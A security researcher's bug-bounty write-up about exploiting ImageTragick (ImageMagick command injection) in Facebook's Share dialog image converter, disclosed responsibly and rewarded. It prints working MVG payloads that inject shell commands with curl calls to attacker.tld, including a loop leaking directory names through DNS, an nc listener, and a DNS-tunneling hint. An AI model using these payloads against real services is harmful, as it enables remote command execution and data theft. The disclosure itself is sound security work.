Facebook’s ImageTragick story


I want to believe that all of you know about ImageMagick and its Tragick. This issue was found in the end of the April, 2016 and due to many processing plugins depends on the ImageMagick library this issue has a huge impact. Since there were evidences that information about this issue was available not only for researchers, who discovered it and ImageMagick’s development team, but also for others, on the 3rd of May, 2016 the information (without PoC) was disclosed. Many of researchers got this low-hanging fruit while discovering applications which were not updated in time. But for some unknowable reason i was not among them. But this was in May:)

Once upon a time on Saturday in October i was testing some big service (not Facebook) when some redirect followed me on Facebook. It was a «Share on Facebook» dialog:


https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

Which many of you could see. If we look closer we can see that a `picture` parameter is a url. But there isn’t image url on page content like mentioned above. For example:


https://www.google.com/images/errors/robot.png

becomes:


https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

First of all I thought about some kind of SSRF issue. But tests showed that url from this parameter requested from 31.13.97.* network by facebookexternalhit/1.1. Example:

nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive

It looks like proper request from isolated server(s).
But in any case application converts image with some kind of converter and I started to dig deeper. After some tests of this parameter (one of my favorite, which brought me a lot of money - parse SVG, which is a XML by design, to get an SSRF issue from converter’s instance, which not always the same as server which requested image or, if I’m in big luck, to get an XXE issue.) i was disappointed. No ones fired. ImageTragick was last hope. Although I had no hope. If you are not familiar with this issue or lazy a bit - here is a PoC url.

Simple payload exploit.png:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context

Drumroll… and nothing happens.

$ nc -lvvv 80

Facepalm and Okay.

- But what if… if there is just some firewall restriction? - I asked myself.

Ok. It often happens when company blocked common requests but not DNS. Let’s try payload:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context

And result is:

IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

Whois of this IP said that:

netname: LLA1-11
descr: Facebook

Let’s begin the party :)

So, application's workflow is:

  • Gets `picture` parameter and requests it - this request is correct and not vulnerable

  • Received picture passes on converter's instance which used vulnerable ImageMagick library

To be honest I tried to find common way to exploit this http request but short tests shown that either all outbound ports are closed or I will spend a lot of time to find one that will be open. And I went another way which is sufficient for PoC.

Payload:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context

And result was:

NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A
…

and so on...

`id` shell command returned:

NAME: uid=99(nobody).attacker.tld., Type: 28
NAME: groups=99(nobody).attacker.tld., Type: A
NAME: gid=99(nobody).attacker.tld., Type: A

For full proof that exploit works I provided Facebook security team with result of `cat /proc/version` output which is not going to publish here.
According to Facebook’s Responsible Disclosure Policy no steps deeper were taken.

Already after initial report we discussed with Neal from Facebook security team that `cat /proc/version | base64` could be more useful and some deeper research showed that `base32` is more commonly used for various techniques including DNS tunneling (see https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).

I am glad to be the one of those who broke the Facebook.

That’s all:)


Timeline:

16 Oct 2016, 03:31 am: Initial report
18 Oct 2016, 05:35 pm: Actual PoC I used requested by security team member Neal
18 Oct 2016, 08:40 pm: I replied by sending a PoC and provided additional info
18 Oct 2016, 10:31 pm: Bug acknowledged by security team member Neal
19 Oct 2016, 12:26 am: Just heads-up by security team member Neal that fix is in the progress
19 Oct 2016, 02:28 am: Neal informed me that vulnerability has been patched
19 Oct 2016, 07:49 am: I replied confirming that the bug was patched and requested disclosure timeline
22 Oct 2016, 03:34 am: Neal answered about disclosure timeline
28 Oct 2016, 03:04 pm: $40k reward issued
04 Nov 2016: Reward paid through Bugcrowd payment system
16 Dec 2016: Disclosure approved